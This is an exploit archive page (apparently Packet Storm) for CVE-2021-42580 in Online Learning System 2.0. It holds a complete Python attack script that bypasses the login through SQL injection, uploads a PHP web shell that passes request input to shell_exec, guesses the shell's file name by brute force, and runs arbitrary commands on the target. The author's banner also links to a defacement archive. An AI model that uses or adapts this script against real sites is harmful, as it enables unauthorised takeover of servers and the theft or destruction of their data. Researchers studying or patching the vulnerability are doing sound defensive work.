what you don't know can hurt you

Online Learning System 2.0 Remote Code Execution

Online Learning System 2.0 Remote Code Execution
Posted Nov 16, 2021
Authored by djebbaranon

Online Learning System version 2.0 remote code execution exploit that leverages SQL injection, authentication bypass, and file upload vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection, file upload
advisories | CVE-2021-42580
SHA-256 | e13c0631f420057004b808a4af6435c2db1224089738b4762896aa208c6c4df8

Online Learning System 2.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
# Date: 15/11/2021
# Exploit Author: djebbaranon
# Vendor Homepage: https://github.com/oretnom23
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
# Version: 2.0
# Tested on: Kali linux / Windows 10
# CVE : CVE-2021-42580

#!/usr/bin/python3
import os
import time
import argparse
import requests
import sys
from colorama import init
from colorama import Fore
from colorama import Back
from colorama import Style
init(autoreset=True)
def banner():
print('''

_____ _ _ _ _ _____ ______ _____ _____
| _ | | (_) | | (_) / __ \ | ___ / __ | ___|
| | | |_ __ | |_ _ __ ___ | | ___ __ _ _ __ _ __ _ _ __ __ _ __ _`' / /' | |_/ | / \| |__
| | | | '_ \| | | '_ \ / _ \ | |/ _ \/ _` | '__| '_ \| | '_ \ / _` | \ \ / / / / | /| | | __|
\ \_/ | | | | | | | | | __/ | | __| (_| | | | | | | | | | | (_| | \ V /./ /___ | |\ \| \__/| |___
\___/|_| |_|_|_|_| |_|\___| |_|\___|\__,_|_| |_| |_|_|_| |_|\__, | \_/ \_____/ \_| \_|\____\____/
__/ |
|___/
Written by djebbaranon
twitter : @dj3bb4ran0n1
zone-h : http://zone-h.org/archive/notifier=djebbaranon
''')
banner()
def my_args():
parser = argparse.ArgumentParser(epilog="Example : python3 -u http://localhost/elearning -r 1000 -c whoami")
parser.add_argument("-u","--url",type=str,required=True,help="url of target")
parser.add_argument("-r","--range",type=int,required=True,help="range for bruteforce the webshell name")
parser.add_argument("-c","--command",type=str,required=True,help="command to execute")
my_arguments = parser.parse_args()
return my_arguments
def login_with_sqli_login_bypass(user,passw):
global session
global url
global cookies
url = my_args().url
session = requests.Session()
data = {
"username" : user,
"password" : passw,
}
try:
response = session.post(url + "/classes/Login.php?f=login",data=data,verify=False)
print( Fore.GREEN + "[+] Logged in succsusfully")
cookies = response.cookies.get_dict()
print("[+] your cookie : ")
except requests.HTTPError as exception:
print(Fore.RED + "[-] HTTP Error : {}".format(exception))
sys.exit(1)
login_with_sqli_login_bypass("' or 1=1 -- -","' or 1=1 -- -")
def main(shell_name,renamed_shell):
try:
payload ={
"id" : "",
"faculty_id" : "test",
"firstname" : "test",
"lastname" : "test",
"middlename" : "fsdfsd",
"dob" : "2021-10-29",
"gender": "Male",
"department_id" : "1",
"email" : "zebi@gmail.com",
"contact" : "zebii",
"address" : "zebii",
}
files = {
"img" :
(
shell_name,
"<?php echo \"<pre><h1>nikmok</h1>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"?>",
"application/octet-stream",
)
}
vunlerable_file = "/classes/Master.php?f=save_faculty"
print("[*] Trying to upload webshell ....")
response_2 = session.post(url + vunlerable_file,data=payload,cookies=cookies,files=files)
print("[+] trying to bruteforce the webshell ....")
rangee = my_args().range
for i in range(0,rangee):
try:
with requests.get(url + "/uploads/Favatar_" + str(i) + ".php?cmd=whoami",allow_redirects=False) as response3:
if "nikmok" in response3.text and response3.status_code == 200:
print("\n" + Fore.GREEN + "[+] shell found : " + response3.url +"\n")
break
with open("shell.txt",mode="w+") as writer:
writer.write(response3.url)
else:
print( Fore.RED + "[-] shell not found : " + response3.url)
except requests.HTTPError as exception2:
print("[-] HTTP Error : {0} ".format(exception2))
except requests.HTTPError as error:
print("[-] HTTP Error : ".format(error))
command = my_args().command
with requests.get(response3.url.replace("whoami",command)) as response4:
print("[*] Executing {} ....".format(command))
time.sleep(3)
print("\n" + Style.BRIGHT + Fore.GREEN + response4.text)
main("hackerman.php","")

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close